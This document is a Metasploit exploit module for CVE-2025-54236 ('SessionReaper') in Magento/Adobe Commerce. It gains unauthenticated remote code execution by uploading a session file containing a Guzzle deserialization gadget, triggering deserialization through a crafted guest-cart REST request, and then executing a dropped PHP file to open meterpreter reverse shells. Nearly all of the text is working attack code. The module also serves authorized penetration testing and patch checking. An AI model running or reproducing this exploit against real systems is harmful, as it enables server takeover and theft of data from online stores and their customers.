## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Magento SessionReaper', 'Description' => %q{ This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in Magento/Adobe Commerce that allows unauthenticated remote code execution. The vulnerability stems from improper handling of nested deserialization in the payment method context, combined with an unauthenticated file upload endpoint. The exploit chain consists of three steps: 1. Upload a malicious PHP session file containing a Guzzle/FW1 deserialization payload via the unauthenticated /customer/address_file/upload endpoint 2. Trigger deserialization by sending a crafted JSON payload to the REST API endpoint /rest/default/V1/guest-carts/{cart_id}/order that modifies the session savePath to point to the uploaded file 3. Execute the uploaded PHP code to gain remote code execution This vulnerability affects Magento 2.x instances configured to use file-based session storage. Patched versions will return a 400 Bad Request response instead of processing the malicious payload. }, 'Author' => [ 'Blaklis', # Discovery 'Tomais Williamson', # Research & Analysis 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-54236'], ['URL', 'https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/'], ['URL', 'https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397'] ], 'Privileged' => false, 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-10-22', 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) end def check_404_response(body) lower = body.to_s.downcase return false unless lower.include?('no such entity') lower.include?('cartid') || (lower.include?('fieldname') && lower.include?('fieldvalue')) end def check_500_response(body) lower = body.to_s.downcase return false if lower.include?('500 internal server error') && !lower.include?('sessionhandler') lower.include?('sessionhandler::read') || (lower.include?('no such file or directory') && lower.include?('session')) || lower.include?('webapi-') end def check random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join('/') cart_id = Rex::Text.rand_text_alphanumeric(4..8) res = send_request_cgi({ 'uri' => normalize_uri( target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order' ), 'method' => 'PUT', 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' }, 'data' => build_deserialization_payload(random_path) }) return CheckCode::Unknown('No response from target') unless res case res.code when 400 return CheckCode::Safe('Target is patched (returns 400 Bad Request)') when 404 return CheckCode::Appears('Target returned 404 with expected error pattern') if check_404_response(res.body) when 500 return CheckCode::Appears('Target returned 500 error with SessionHandler') if check_500_response(res.body) end CheckCode::Unknown("Unexpected HTTP status: #{res.code}") end def exploit session_id = Rex::Text.rand_text_hex(32) session_filename = "sess_#{session_id}" session_save_dir = session_save_dir_from_filename(session_filename) exploit_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.php" post_param = Rex::Text.rand_text_alphanumeric(4..8) vprint_status('Generating Guzzle/FW1 deserialization payload...') php_stub = "" guzzle_payload = build_guzzle_fw1_payload("pub/#{exploit_filename}", php_stub) vprint_status('Uploading session file with Guzzle payload...') uploaded_path = upload_session_file(session_id, guzzle_payload, Rex::Text.rand_text_alphanumeric(8..12)) return unless uploaded_path save_path = "media/customer_address#{File.dirname(uploaded_path)}" unless trigger_deserialization(session_id, save_path) fail_with(Failure::Unknown, 'Failed to trigger deserialization') end register_file_for_cleanup(exploit_filename.to_s) register_file_for_cleanup("media/customer_address/#{session_save_dir}/#{session_filename}") register_file_for_cleanup(datastore['FETCH_FILENAME'].to_s) if target['Arch'] == ARCH_CMD && datastore['FETCH_FILENAME'].present? execute_uri = normalize_uri(target_uri.path, 'pub', exploit_filename) vprint_status("Executing payload at: #{execute_uri}") phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) encoded_payload = Rex::Text.encode_base64(phped_payload) send_request_cgi({ 'uri' => execute_uri, 'method' => 'POST', 'data' => "#{post_param}=#{Rex::Text.uri_encode(encoded_payload)}", 'ctype' => 'application/x-www-form-urlencoded' }) end def session_save_dir_from_filename(filename) "#{filename[0]}/#{filename[1]}" end def upload_session_file(session_id, content, form_key) filename = "sess_#{session_id}" vprint_status("Uploading malicious session file: #{filename}") post_data = Rex::MIME::Message.new post_data.add_part(form_key, nil, nil, 'form-data; name="form_key"') filename_part = 'form-data; name="custom_attributes[country_id]"; ' \ "filename=\"#{filename}\"" post_data.add_part(content, 'application/octet-stream', nil, filename_part) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'customer', 'address_file', 'upload'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "form_key=#{form_key}", 'data' => post_data.to_s, 'keep_cookies' => true }) return nil unless res&.code == 200 json_response = res.get_json_document error_msg = json_response&.dig('error') if error_msg && error_msg != 0 print_error("Upload failed: #{error_msg}") return nil end return json_response['file'] if json_response&.dig('file') "/#{session_save_dir_from_filename(filename)}/#{filename}" end def build_deserialization_payload(save_path) { 'paymentMethod' => { 'paymentData' => { 'context' => { 'urlBuilder' => { 'session' => { 'sessionConfig' => { 'savePath' => save_path } } } } } } }.to_json end def trigger_deserialization(session_id, save_path) vprint_status("Triggering deserialization with savePath: #{save_path}") cart_id = Rex::Text.rand_text_alphanumeric(4..8) res = send_request_cgi({ 'uri' => normalize_uri( target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order' ), 'method' => 'PUT', 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' }, 'cookie' => "PHPSESSID=#{session_id}", 'data' => build_deserialization_payload(save_path) }) return false unless res&.code == 404 || res&.code == 500 vprint_good("Deserialization triggered (HTTP #{res.code})") true end # Serialize a string to PHP binary-safe string format (S:) # Characters in printable ASCII range (32-126) except backslash and double quote are kept as-is # Other characters are escaped as \xHH where HH is the hexadecimal byte value def serialize_string_ascii(str) result = str.each_byte.map do |byte| # Keep printable ASCII characters except backslash (92) and double quote (34) next byte.chr if (32..126).cover?(byte) && byte != 92 && byte != 34 # Escape other characters as \xHH "\\#{sprintf('%02x', byte)}" end.join # PHP binary-safe string format: S:length:"content"; "S:#{str.length}:\"#{result}\";" end def build_guzzle_fw1_payload(target_file, php_content) escaped = "#{php_content}\n" set_cookie_data = "a:3:{#{serialize_string_ascii('Expires')}i:1;" \ "#{serialize_string_ascii('Discard')}b:0;" \ "#{serialize_string_ascii('Value')}#{serialize_string_ascii(escaped)}}" set_cookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' \ "{#{serialize_string_ascii('data')}#{set_cookie_data}}" cookies_array = "a:1:{i:0;#{set_cookie}}" file_cookie_jar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' \ "{#{serialize_string_ascii('cookies')}#{cookies_array}" \ "#{serialize_string_ascii('strictMode')}N;" \ "#{serialize_string_ascii('filename')}#{serialize_string_ascii(target_file)}" \ "#{serialize_string_ascii('storeSessionCookies')}b:1;}" "_|#{file_cookie_jar}" end end